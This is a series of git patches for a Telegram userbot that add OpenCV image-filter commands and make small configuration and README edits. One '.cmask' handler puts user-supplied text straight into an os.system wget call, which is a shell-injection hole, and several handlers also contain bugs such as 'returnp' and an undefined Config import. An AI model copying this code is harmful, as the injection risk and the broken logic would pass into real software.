😂😂\ + \n\n📌** CMD ★** `.grey(reply to media)`\ \n**USAGE ★ **Convert Colour image to Black nd white\ - \n\n📌** CMD ★** `.ytc (Name).(text)(reply to image)`\ - \n**USAGE ★ **Show A Youtube Comment of ur repled img and typed name. (note :- that dot . in middle is important)\ - \n\n📌** CMD ★** `.invert`\ - \n**USAGE ★ **Create a Negative image to return it back to normal use .invert again\ - \n\n📌** CMD ★** `.blur / .igrey /.bright / .glass / .blrpl` \ - \ncheck them on ur own 😁😁\ - \n(note:- it work only on images, u can use .stoi to convert a sticker info image then u can use😁😁)" + \n\n📌** CMD ★** `.color(reply to media)`\ + \n**USAGE ★ **Convert Black-White media to Colorfull.\ + \n\n📌** CMD ★** `.circle(reply to media)`\ + \n**USAGE ★ **Make A circle sticker of that media.\ + \n\n📌** CMD ★** `.ftoon(reply to media)`\ + \n**USAGE ★ **Makes faces look like 💩Toon💩." + } -) + + )# Thanks for Coming 🤗🤗 + + From 5f237d389d6ee92b634a8c23fb0522b74c7fb31a Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 08:49:41 +0530 Subject: [PATCH 417/838] Create imagefun2.py --- fridaybot/modules/imagefun2.py | 197 +++++++++++++++++++++++++++++++++ 1 file changed, 197 insertions(+) create mode 100644 fridaybot/modules/imagefun2.py diff --git a/fridaybot/modules/imagefun2.py b/fridaybot/modules/imagefun2.py new file mode 100644 index 00000000..1ef4dfcb --- /dev/null +++ b/fridaybot/modules/imagefun2.py @@ -0,0 +1,197 @@ + + + # By @danish_00 + # OpenCV Basics + # For Dark Cobra + # Team Dc + +import cv2 +import numpy as np +from PIL import Image, ImageDraw +import pygments, os, asyncio, shutil, scapy, sys, requests, re, subprocess +from pygments.lexers import Python3Lexer +from pygments.formatters import ImageFormatter +from fridaybot import bot, CMD_HELP +from ..utils import admin_cmd, sudo_cmd +from telegraph import upload_file +from telethon import events +from telethon.tl.types import MessageMediaPhoto + + +path = "./dcobra/" +if not os.path.isdir(path): + os.makedirs(path) + +@bot.on(admin_cmd("blur")) +async def hehe(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + reply = await event.get_reply_message() + await event.edit('`Processing...`') + image = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(image) + ret, frame = img.read() + blur = cv2.GaussianBlur(frame, (35, 35), 0) + cv2.imwrite("danish.jpg", blur) + await event.client.send_file(event.chat_id, "danish.jpg", force_document=False, reply_to=event.reply_to_msg_id) + await event.delete() + shutil.rmtree(path) + os.remove("danish.jpg") + + +@bot.on(admin_cmd("invert")) +async def hehe(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + reply = await event.get_reply_message() + await event.edit('`Processing...`') + image = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(image) + ret, frame = img.read() + invert = cv2.bitwise_not(frame) + cv2.imwrite("danish.jpg", invert) + await event.client.send_file(event.chat_id, "danish.jpg", force_document=False, reply_to=event.reply_to_msg_id) + await event.delete() + shutil.rmtree(path) + os.remove("danish.jpg") + + + +@bot.on(admin_cmd("flip")) +async def hehe(event): + if not event.reply_to_msg_id: + await event.edit("Reply to media") + return + await event.edit("```Processing...```") + reply = await event.get_reply_message() + pathh = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(pathh) + ret,frame = img.read() + flip = cv2.flip(frame, 1) + cv2.imwrite("cobra.jpg", frame) + cv2.imwrite("danish.jpg", flip) + dark = cv2.imread("cobra.jpg") + cobra = cv2.imread("danish.jpg") + merge = cv2.hconcat([dark, cobra]) + cv2.imwrite('dark.jpg', merge) + await event.client.send_file(event.chat_id, "dark.jpg" , reply_to=event.reply_to_msg_id) + await event.delete() + shutil.rmtree(path) + os.remove("danish.jpg") + os.remove("dark.jpg") + os.remove("cobra.jpg") + + +@bot.on(admin_cmd("mirror")) +async def hehe(event): + if not event.reply_to_msg_id: + await event.edit("Reply to media") + return + await event.edit("```Processing...```") + reply = await event.get_reply_message() + pathh = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(pathh) + ret,frame = img.read() + flip = cv2.flip(frame, 1) + up = cv2.rotate(flip, cv2.ROTATE_180) + cv2.imwrite("cobra.jpg", frame) + cv2.imwrite("danish.jpg", up) + dark = cv2.imread("cobra.jpg") + cobra = cv2.imread("danish.jpg") + merge = cv2.vconcat([dark, cobra]) + cv2.imwrite('dark.jpg', merge) + await event.client.send_file(event.chat_id, "dark.jpg" , reply_to=event.reply_to_msg_id) + await event.delete() + shutil.rmtree(path) + os.remove("danish.jpg") + os.remove("dark.jpg") + os.remove("cobra.jpg") + +@bot.on(admin_cmd("enhance")) +async def hehe(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + reply = await event.get_reply_message() + await event.edit('`Processing...`') + image = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(image) + ret, frame = img.read() + dtl = cv2.detailEnhance(frame, sigma_s=10, sigma_r=0.15) + cv2.imwrite("danish.jpg", dtl) + await event.client.send_file(event.chat_id, "danish.jpg", force_document=False, reply_to=event.reply_to_msg_id) + await event.delete() + shutil.rmtree(path) + os.remove("danish.jpg") + + +@bot.on(admin_cmd("pencil")) +async def hehe(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + reply = await event.get_reply_message() + await event.edit('`Processing...`') + image = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(image) + ret, frame = img.read() + grey = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) + blur = cv2.GaussianBlur(grey, (3,3), 0) + output = cv2.Laplacian(blur, -1, ksize=5) + output = 255 - output + ret, output = cv2.threshold(output, 150, 255, cv2.THRESH_BINARY) + cv2.imwrite("danish.jpg", output) + await event.client.send_file(event.chat_id, "danish.jpg", force_document=False, reply_to=event.reply_to_msg_id) + await event.delete() + shutil.rmtree(path) + os.remove("danish.jpg") + +@bot.on(admin_cmd("smooth")) +async def hehe(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + reply = await event.get_reply_message() + await event.edit('`Processing...`') + image = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(image) + ret, frame = img.read() + smooth = cv2.edgePreservingFilter(frame, flags=1, sigma_s=60, sigma_r=0.4) + cv2.imwrite("danish.jpg", smooth) + await event.client.send_file(event.chat_id, "danish.jpg", force_document=False, reply_to=event.reply_to_msg_id) + await event.delete() + shutil.rmtree(path) + os.remove("danish.jpg") + + # .ytc by @shivam_patel + # kang with credits +@bot.on(admin_cmd(pattern=r"ytc")) +async def hehe(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + reply = await event.get_reply_message() + download = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(download) + ret, frame = img.read() + cv2.imwrite("danish.png", frame) + givenvar=event.text + text = givenvar[5:] + try: + global username, comment + username, comment= text.split(".") + except: + await event.edit("`.ytc username.comment reply to image`") + await event.edit('`Processing...`') + url_s = upload_file("danish.png") + imglink = f"https://telegra.ph{url_s[0]}" + nikal = f"https://some-random-api.ml/canvas/youtube-comment?avatar={imglink}&comment={comment}&username={username}" + r = requests.get(nikal) + open("shivam.png", "wb").write(r.content) + await event.client.send_file(event.chat_id, "shivam.png", reply_to=event.reply_to_msg_id) + await event.delete() + shutil.rmtree(path) + os.remove("shivam.png") + os.remove("danish.jpg") From c94ac45e38ccc0ae38360387f157e0bb255c6bf3 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 08:53:34 +0530 Subject: [PATCH 418/838] Create imagefun3.py --- fridaybot/modules/imagefun3.py | 321 +++++++++++++++++++++++++++++++++ 1 file changed, 321 insertions(+) create mode 100644 fridaybot/modules/imagefun3.py diff --git a/fridaybot/modules/imagefun3.py b/fridaybot/modules/imagefun3.py new file mode 100644 index 00000000..08ed757b --- /dev/null +++ b/fridaybot/modules/imagefun3.py @@ -0,0 +1,321 @@ + # originally made by @danish_00 + # Team dc + # For cobra + # Just Copied + # Credits to DC + +from PIL import Image +import numpy as np +import os, shutil, sys ,cv2, asyncio, scipy, random +from telegraph import upload_file +from telethon.tl.types import MessageMediaPhoto +from ..utils import admin_cmd +from fridaybot import bot , CMD_HELP + +path = "./dcobra/" +if not os.path.isdir(path): + os.makedirs(path) + + +# Originally Created by @danish_00 +# All Basics opencv just , the .rtoon was little challenging + + +@bot.on(admin_cmd("rtoon")) +async def hehe(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + reply = await event.get_reply_message() + image = await bot.download_media(reply.media, path) + await event.edit("`Processing... takes time`") + img = cv2.VideoCapture(image) + ret, frame = img.read() + height, width, channels = frame.shape + samples = np.zeros([height*width, 3], dtype = np.float32) + count = 0 + for x in range(height): + for y in range(width): + samples[count] = frame[x][y] + count += 1 + compactness, labels, centers = cv2.kmeans(samples, + 13, + None, + (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 10000, 0.0001), + 5, + cv2.KMEANS_PP_CENTERS) + centers = np.uint8(centers) + res = centers[labels.flatten()] + nikal = res.reshape((frame.shape)) + cv2.imwrite("danish.jpg", nikal) + await event.client.send_file(event.chat_id, "danish.jpg", force_document=False, reply_to=event.reply_to_msg_id) + await event.delete() + shutil.rmtree(path) + os.remove("danish.jpg") + + + # opencv basics + +@bot.on(admin_cmd("ctoon")) +async def hehe(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + reply = await event.get_reply_message() + await event.edit('`Processing...`') + image = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(image) + ret, frame = img.read() + gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) + gray = cv2.medianBlur(gray, 5) + edges = cv2.adaptiveThreshold(gray, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, 9, 9) + color = cv2.bilateralFilter(frame, 13, 400, 400) + cartoon = cv2.bitwise_and(color, color, mask=edges) + cv2.imwrite("danish.jpg", cartoon) + await event.client.send_file(event.chat_id, "danish.jpg", force_document=False, caption = "To Know How this works type .howctoon",reply_to=event.reply_to_msg_id) + await event.delete() + shutil.rmtree(path) + os.remove("danish.jpg") + + + +@bot.on(admin_cmd("danger")) +async def hehe(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + reply = await event.get_reply_message() + await event.edit('`Processing...`') + image = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(image) + ret, frame = img.read() + dark = cv2.cvtColor(frame,cv2.COLOR_BGR2RGB) + cobra = cv2.cvtColor(dark ,cv2.COLOR_HSV2BGR) + cv2.imwrite("danish.jpg", cobra) + await event.client.send_file(event.chat_id, "danish.jpg", force_document=False, reply_to=event.reply_to_msg_id) + await event.delete() + shutil.rmtree(path) + os.remove("danish.jpg") + +@bot.on(admin_cmd("vintage")) +async def hehe(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + reply = await event.get_reply_message() + await event.edit('`Processing...`') + image = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(image,cv2.IMREAD_GRAYSCALE) + ret, frame = img.read() + cobra = cv2.applyColorMap(frame, cv2.COLORMAP_PINK) + cv2.imwrite("danish.jpg", cobra) + await event.client.send_file(event.chat_id, "danish.jpg", force_document=False, reply_to=event.reply_to_msg_id) + await event.delete() + shutil.rmtree(path) + os.remove("danish.jpg") + + +@bot.on(admin_cmd("random")) +async def hehe(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + reply = await event.get_reply_message() + await event.edit('`Processing...`') + image = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(image,cv2.IMREAD_GRAYSCALE) + ret, frame = img.read() + x=(random.randrange(1,12)) + if x == 1: + style = cv2.applyColorMap(frame, cv2.COLORMAP_BONE) + if x == 2: + style = cv2.applyColorMap(frame, cv2.COLORMAP_JET) + if x == 3: + style = cv2.applyColorMap(frame, cv2.COLORMAP_WINTER) + if x == 4: + style = cv2.applyColorMap(frame, cv2.COLORMAP_RAINBOW) + if x == 5: + style = cv2.applyColorMap(frame, cv2.COLORMAP_OCEAN) + if x == 6: + style = cv2.applyColorMap(frame, cv2.COLORMAP_SUMMER) + if x == 7: + style = cv2.applyColorMap(frame, cv2.COLORMAP_SPRING) + if x == 8: + style = cv2.applyColorMap(frame, cv2.COLORMAP_COOL) + if x == 9: + style = cv2.applyColorMap(frame, cv2.COLORMAP_HSV) + if x == 10: + style = cv2.applyColorMap(frame, cv2.COLORMAP_PINK) + if x == 11: + style = cv2.applyColorMap(frame, cv2.COLORMAP_HOT) + if x == 12: + style = cv2.applyColorMap(frame, cv2.COLORMAP_AUTUMN) + cv2.imwrite("danish.jpg", style) + await event.client.send_file(event.chat_id, "danish.jpg", force_document=False, reply_to=event.reply_to_msg_id) + await event.delete() + shutil.rmtree(path) + os.remove("danish.jpg") + + + + +@bot.on(admin_cmd("rmbw")) +async def hehe(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image like this :-.rmbw 01;1.5;9; u can have any value instead") + return + reply = await event.get_reply_message() + await event.edit('`Processing...`') + image = await bot.download_media(reply.media, path) + ims=image + os.system(f'wget https://telegra.ph/file/9974f1b3947f5f97f4075.png') + lbcn= '9974f1b3947f5f97f4075.png' + img1 = cv2.VideoCapture(ims) + ret, frame = img1.read() + img2 = cv2.imread(f'{lbcn}') + achha = cv2.imwrite("cobra.jpg",frame) + image = Image.open("cobra.jpg") + shi,vam = image.size + img1 = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) + img2 = cv2.cvtColor(img2, cv2.COLOR_BGR2RGB) + img1 =cv2.resize(img1,(620,350)) + img2 =cv2.resize(img2,(620,350)) + mix = cv2.addWeighted(src1=img1,alpha=0.8,src2=img2,beta=0.45,gamma=0) + mila = cv2.cvtColor(mix, cv2.COLOR_RGB2BGR) + cv2.imwrite("danish.png", mila) + shvm = Image.open("danish.png") + img=shvm.resize((int(shi),int(vam))) + img.save("danish.png", format="PNG", optimize=True) + await event.client.send_file(event.chat_id, "danish.png", force_document=False, reply_to=event.reply_to_msg_id) + await event.delete() + shutil.rmtree(path) + os.remove("danish.png") + os.remove("cobra.jpg") + +@bot.on(admin_cmd("howctoon")) +async def howitworks(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + returnp + reply = await event.get_reply_message() + await event.edit('`Processing...`') + image = await bot.download_media(reply.media, path) + img = cv2.VideoCapture(image) + ret, frame = img.read() + gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) + gray = cv2.medianBlur(gray, 5) + edges = cv2.adaptiveThreshold(gray, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, 9, 9) + color = cv2.bilateralFilter(frame, 13, 400, 400) + cartoon = cv2.bitwise_and(color, color, mask=edges) + cv2.imwrite("a.jpg", frame) + cv2.imwrite("b.jpg", gray) + cv2.imwrite("c.jpg", edges) + cv2.imwrite("d.jpg", color) + cv2.imwrite("e.jpg", cartoon) + ori = cv2.imread("a.jpg") + res = cv2.imread("e.jpg") + v_img = cv2.vconcat([ori, res]) + h_img = cv2.hconcat([ori, res]) + cv2.imwrite('H.jpg', h_img) + cv2.imwrite('V.jpg', v_img) + await event.delete() + da = await bot.send_file(event.chat.id, "a.jpg", caption = "Original Pic") + await asyncio.sleep(3) + ni = await bot.edit_message(event.chat.id, da, file = "b.jpg" ) + hm = await bot.edit_message(event.chat.id, ni,"Stage 1 - Collecting The Gray form.") + await asyncio.sleep(3.5) + sh = await bot.edit_message(event.chat.id, hm, file = "c.jpg") + lo = await bot.edit_message(event.chat.id, sh, "Stage 2 - Collecting The Threshold Edges .") + await asyncio.sleep(3.5) + co = await bot.edit_message(event.chat.id, lo, file = "d.jpg") + he = await bot.edit_message(event.chat.id, co, "Stage 3 - Collecting Smooth Color.") + await asyncio.sleep(3.5) + bro = await bot.edit_message(event.chat.id, he, file = "e.jpg") + danish = await bot.edit_message(event.chat.id, co, "Output - Merged All Stages.") + await asyncio.sleep(3.5) + x=(random.randrange(1,2)) + if x == 1: + await bot.send_file(event.chat.id, file = "V.jpg", caption = + """ㅤ Check Difference + Done By VirtualUserbot + < Date: Sun, 10 Jan 2021 08:55:47 +0530 Subject: [PATCH 419/838] Copied from DC --- fridaybot/modules/imagefun4.py | 241 +++++++++++++++++++++++++++++++++ 1 file changed, 241 insertions(+) create mode 100644 fridaybot/modules/imagefun4.py diff --git a/fridaybot/modules/imagefun4.py b/fridaybot/modules/imagefun4.py new file mode 100644 index 00000000..59191b75 --- /dev/null +++ b/fridaybot/modules/imagefun4.py @@ -0,0 +1,241 @@ + + + + # @THE_B_LACK_HAT with @shivam_patel + # Modified with OpenCV by @danish_00 + # Team Cobra + # For Dark Cobra + # Just Copied + # Keep Credits + +import cv2 +from PIL import Image +import sys +import os +from ..utils import admin_cmd +from fridaybot import bot, CMD_HELP + + # Now Gifs nd Stickers also Support + # OpenCV Basics + +path = "./dcobra/" +if not os.path.isdir(path): + os.makedirs(path) + + +@bot.on(admin_cmd(pattern=r"pru")) +async def scan(event): + if not event.reply_to_msg_id: + await event.edit("Reply to any Image.") + return + await event.edit("HeHe Lets give a Mask 🤪") + reply = await event.get_reply_message() + lol = await bot.download_media(reply.media, path) + os.system('wget https://datreon.000webhostapp.com/haarcascade_frontalface_default.xml') + os.system('wget https://telegra.ph/file/f061c861ba85fbb23a51e.png') + image = lol + maskPath = "f061c861ba85fbb23a51e.png" + cascPath = "haarcascade_frontalface_default.xml" + faceCascade = cv2.CascadeClassifier(cascPath) + img = cv2.VideoCapture(image) + ret, frame = img.read() + cv2.imwrite("hehe.png", frame) + gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) + faces = faceCascade.detectMultiScale(gray, 1.15) + background = Image.open("hehe.png") + for (x, y, w, h) in faces: + mask = Image.open(maskPath) + mask = mask.resize((w, h), Image.ANTIALIAS) + offset = (x, y) + background.paste(mask, offset, mask=mask) + file_name = "danish.png" + hehe = path + "/" + file_name + background.save(hehe, "PNG") + await event.client.send_file(event.chat_id, hehe , force_document=False, reply_to=event.reply_to_msg_id) + await event.delete() + for files in (hehe, lol): + if files and os.path.exists(files): + os.remove(files) + +@bot.on(admin_cmd(pattern=r"old")) +async def scan(event): + if not event.reply_to_msg_id: + await event.edit("Reply to any Image.") + return + await event.edit("HeHe Lets give a Mask 🤪") + reply = await event.get_reply_message() + lol = await bot.download_media(reply.media, path) + os.system('wget https://datreon.000webhostapp.com/haarcascade_frontalface_default.xml') + os.system('wget https://telegra.ph/file/55fcb205c6f8f4790585e.png') + image = lol + maskPath = "55fcb205c6f8f4790585e.png" + cascPath = "haarcascade_frontalface_default.xml" + faceCascade = cv2.CascadeClassifier(cascPath) + img = cv2.VideoCapture(image) + ret, frame = img.read() + cv2.imwrite("hehe.png", frame) + gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) + faces = faceCascade.detectMultiScale(gray, 1.15) + background = Image.open("hehe.png") + for (x, y, w, h) in faces: + mask = Image.open(maskPath) + mask = mask.resize((w, h), Image.ANTIALIAS) + offset = (x, y) + background.paste(mask, offset, mask=mask) + file_name = "danish.png" + hehe = path + "/" + file_name + background.save(hehe, "PNG") + await event.client.send_file(event.chat_id, hehe , force_document=False, reply_to=event.reply_to_msg_id) + await event.delete() + for files in (hehe, lol): + if files and os.path.exists(files): + os.remove(files) + + + +@bot.on(admin_cmd(pattern=r"krish")) +async def scan(event): + if not event.reply_to_msg_id: + await event.edit("Reply to any Image.") + return + await event.edit("HeHe Lets give a Mask 🤪") + reply = await event.get_reply_message() + lol = await bot.download_media(reply.media, path) + os.system('wget https://datreon.000webhostapp.com/haarcascade_frontalface_default.xml') + os.system('wget https://telegra.ph/file/54d2a267d411951b41a20.png') + image = lol + maskPath = "54d2a267d411951b41a20.png" + cascPath = "haarcascade_frontalface_default.xml" + faceCascade = cv2.CascadeClassifier(cascPath) + img = cv2.VideoCapture(image) + ret, frame = img.read() + cv2.imwrite("hehe.png", frame) + gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) + faces = faceCascade.detectMultiScale(gray, 1.15) + background = Image.open("hehe.png") + for (x, y, w, h) in faces: + mask = Image.open(maskPath) + mask = mask.resize((w, h), Image.ANTIALIAS) + offset = (x, y) + background.paste(mask, offset, mask=mask) + file_name = "danish.png" + hehe = path + "/" + file_name + background.save(hehe, "PNG") + await event.client.send_file(event.chat_id, hehe , force_document=False, reply_to=event.reply_to_msg_id) + await event.delete() + for files in (hehe, lol): + if files and os.path.exists(files): + os.remove(files) + + + +@bot.on(admin_cmd(pattern=r"oxy")) +async def scan(event): + if not event.reply_to_msg_id: + await event.edit("Reply to any Image.") + return + await event.edit("HeHe Lets give a Mask 🤪") + reply = await event.get_reply_message() + lol = await bot.download_media(reply.media, path) + os.system('wget https://datreon.000webhostapp.com/haarcascade_frontalface_default.xml') + os.system('wget https://telegra.ph/file/df2d739544595ae337642.png') + image = lol + maskPath = "df2d739544595ae337642.png" + cascPath = "haarcascade_frontalface_default.xml" + faceCascade = cv2.CascadeClassifier(cascPath) + img = cv2.VideoCapture(image) + ret, frame = img.read() + cv2.imwrite("hehe.png", frame) + gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) + faces = faceCascade.detectMultiScale(gray, 1.15) + background = Image.open("hehe.png") + for (x, y, w, h) in faces: + mask = Image.open(maskPath) + mask = mask.resize((w, h), Image.ANTIALIAS) + offset = (x, y) + background.paste(mask, offset, mask=mask) + file_name = "danish.png" + hehe = path + "/" + file_name + background.save(hehe, "PNG") + await event.client.send_file(event.chat_id, hehe , force_document=False, reply_to=event.reply_to_msg_id) + await event.delete() + for files in (hehe, lol): + if files and os.path.exists(files): + os.remove(files) + +@bot.on(admin_cmd(pattern=r"gold")) +async def scan(event): + if not event.reply_to_msg_id: + await event.edit("Reply to any Image.") + return + await event.edit("HeHe Lets give a Mask 🤪") + reply = await event.get_reply_message() + lol = await bot.download_media(reply.media, path) + os.system('wget https://datreon.000webhostapp.com/haarcascade_frontalface_default.xml') + os.system('wget https://telegra.ph/file/4cc40d1e0846667488341.png') + image = lol + maskPath = "4cc40d1e0846667488341.png" + cascPath = "haarcascade_frontalface_default.xml" + faceCascade = cv2.CascadeClassifier(cascPath) + img = cv2.VideoCapture(image) + ret, frame = img.read() + cv2.imwrite("hehe.png", frame) + gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) + faces = faceCascade.detectMultiScale(gray, 1.15) + background = Image.open("hehe.png") + for (x, y, w, h) in faces: + mask = Image.open(maskPath) + mask = mask.resize((w, h), Image.ANTIALIAS) + offset = (x, y) + background.paste(mask, offset, mask=mask) + file_name = "danish.png" + hehe = path + "/" + file_name + background.save(hehe, "PNG") + await event.client.send_file(event.chat_id, hehe , force_document=False, reply_to=event.reply_to_msg_id) + await event.delete() + for files in (hehe, lol): + if files and os.path.exists(files): + os.remove(files) + + +@bot.on(admin_cmd(pattern=r"cmask ?(.*)")) +async def scan(event): + if not event.reply_to_msg_id: + await event.edit("Reply to any Image.") + return + if not event.pattern_match.group(1): + await event.edit("Give a link of a background less mask\nTo put on that image") + return + await event.edit("HeHe Lets give a Mask 🤪") + reply = await event.get_reply_message() + linc= event.text + link=linc[7:] + pic=linc[31:] + os.system(f'wget {link}') + lol = await bot.download_media(reply.media, path) + os.system('wget https://datreon.000webhostapp.com/haarcascade_frontalface_default.xml') + image = lol + maskPath = f"{pic}" + cascPath = "haarcascade_frontalface_default.xml" + faceCascade = cv2.CascadeClassifier(cascPath) + img = cv2.VideoCapture(image) + ret, frame = img.read() + cv2.imwrite("hehe.png", frame) + gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) + faces = faceCascade.detectMultiScale(gray, 1.15) + background = Image.open("hehe.png") + await event.edit("The link is not supporting , be sure to send link of a transparent mask.") + for (x, y, w, h) in faces: + mask = Image.open(maskPath) + mask = mask.resize((w, h), Image.ANTIALIAS) + offset = (x, y) + background.paste(mask, offset, mask=mask) + await event.delete() + file_name = "danish.png" + hehe = path + "/" + file_name + background.save(hehe, "PNG") + await event.client.send_file(event.chat_id, hehe , force_document=False, reply_to=event.reply_to_msg_id) + for files in (hehe, lol): + if files and os.path.exists(files): + os.remove(files) + From fe291e03f274473b295f64fede8e44a1f31d124b Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 09:00:21 +0530 Subject: [PATCH 420/838] Update requirements.txt --- requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/requirements.txt b/requirements.txt index 13561837..0928c430 100644 --- a/requirements.txt +++ b/requirements.txt @@ -60,6 +60,7 @@ wikipedia>=1.4.0 youtube-search youtube-search-python covid +scapy password_strength pyjokes cryptocompare From 3b24934cdb292bffd091444832b0e6009f31fcef Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 09:05:41 +0530 Subject: [PATCH 421/838] It's Time to thank --- README.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/README.md b/README.md index 4f8d6d0b..f6d33597 100644 --- a/README.md +++ b/README.md @@ -198,10 +198,18 @@ published by the Free Software Foundation, either version 3 of the License, or # Full Credits - FridayUserBot ❤️ +Most of the Plugins Taken from this Project.. Made possible by this. Full Credits. Full Respect - DarkCobra 😍 +Image Tools Plugins Copied from DC Project.. Credits to DC Team - CatUserbot +Internal Core Plugins taken.. Helped a lot to fix bugs in source.. Full respect - Uniborg +Userbot's Made possible. Credits - TeleBot +Speed Boosted by the help of this source code.. Credits +- Black Lightning +Got Fun tools from this.. Respect + # 🧐 Disclaimer From 80bd18f1a5750c9d41dbd37280230dee5da68850 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 09:12:27 +0530 Subject: [PATCH 422/838] Update tag.py --- fridaybot/modules/tag.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/tag.py b/fridaybot/modules/tag.py index 5ad818a5..8c141709 100644 --- a/fridaybot/modules/tag.py +++ b/fridaybot/modules/tag.py @@ -19,7 +19,7 @@ from telethon.tl.types import Channel from telethon.utils import get_display_name -from fridaybot.configs import Config +from fridaybot import Configs NEEDLOG = int(Config.TAG_LOG) if Config.TAG_LOG else (Var.TG_BOT_USER_NAME_BF_HER) if Config.TAG_LOG: From e1130923c30e7e0b5387efe5eebe453978c1abbd Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 09:12:50 +0530 Subject: [PATCH 423/838] Update tag.py --- fridaybot/modules/tag.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/tag.py b/fridaybot/modules/tag.py index 8c141709..34c230a1 100644 --- a/fridaybot/modules/tag.py +++ b/fridaybot/modules/tag.py @@ -19,7 +19,7 @@ from telethon.tl.types import Channel from telethon.utils import get_display_name -from fridaybot import Configs +from fridaybot import Configs as config NEEDLOG = int(Config.TAG_LOG) if Config.TAG_LOG else (Var.TG_BOT_USER_NAME_BF_HER) if Config.TAG_LOG: From bcc8571cb123744afc1e645368ba060e87312f4f Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 09:17:56 +0530 Subject: [PATCH 424/838] Update Configs.py --- fridaybot/Configs.py | 1 + 1 file changed, 1 insertion(+) diff --git a/fridaybot/Configs.py b/fridaybot/Configs.py index 8eba5bc0..c3baaf2d 100644 --- a/fridaybot/Configs.py +++ b/fridaybot/Configs.py @@ -143,6 +143,7 @@ class Config(object): FBAN_GROUP = int(os.environ.get("FBAN_GROUP", False)) PM_DATA = os.environ.get("PM_DATA", "ENABLE") DEEP_AI = os.environ.get("DEEP_AI", None) + TAG_LOG = os.environ.get("TAG_LOG", None) ENABLE_ASSISTANTBOT = os.environ.get("ENABLE_ASSISTANTBOT", "ENABLE") TAG_FEATURE = os.environ.get("TAG_FEATURE", "DISABLE") JTM_CHANNEL_ID = int(os.environ.get("JTM_CHANNEL_ID", False)) From 90521919ac4f9bfbc724ce0aa835c50a21251ca5 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 09:20:51 +0530 Subject: [PATCH 425/838] Update requirements.txt --- requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/requirements.txt b/requirements.txt index 0928c430..c6ae512d 100644 --- a/requirements.txt +++ b/requirements.txt @@ -61,6 +61,7 @@ youtube-search youtube-search-python covid scapy +scipy password_strength pyjokes cryptocompare From 9e852f2c42acaa9ad0eae99468517a5f2dd9372a Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 10:16:39 +0530 Subject: [PATCH 426/838] No malayams --- fridaybot/modules/malayalamcalender.py | 36 -------------------------- 1 file changed, 36 deletions(-) delete mode 100644 fridaybot/modules/malayalamcalender.py diff --git a/fridaybot/modules/malayalamcalender.py b/fridaybot/modules/malayalamcalender.py deleted file mode 100644 index c74b9aea..00000000 --- a/fridaybot/modules/malayalamcalender.py +++ /dev/null @@ -1,36 +0,0 @@ -"""Malayalam Calendar plugin for Indian Bot -SYNTAX: .calendar YYYY-MM-DD""" -import json -from datetime import datetime - -import requests -from uniborg.util import friday_on_cmd - - -@friday.on(friday_on_cmd(pattern="calendar (.*)")) -async def _(event): - if event.fwd_from: - return - start = datetime.now() - input_str = event.pattern_match.group(1) - input_sgra = input_str.split("-") - if len(input_sgra) == 3: - yyyy = input_sgra[0] - mm = input_sgra[1] - dd = input_sgra[2] - required_url = "https://calendar.kollavarsham.org/api/years/{}/months/{}/days/{}?lang={}".format( - yyyy, mm, dd, "en" - ) - headers = {"Accept": "application/json"} - response_content = requests.get(required_url, headers=headers).json() - a = "" - if "error" not in response_content: - current_date_detail_arraays = 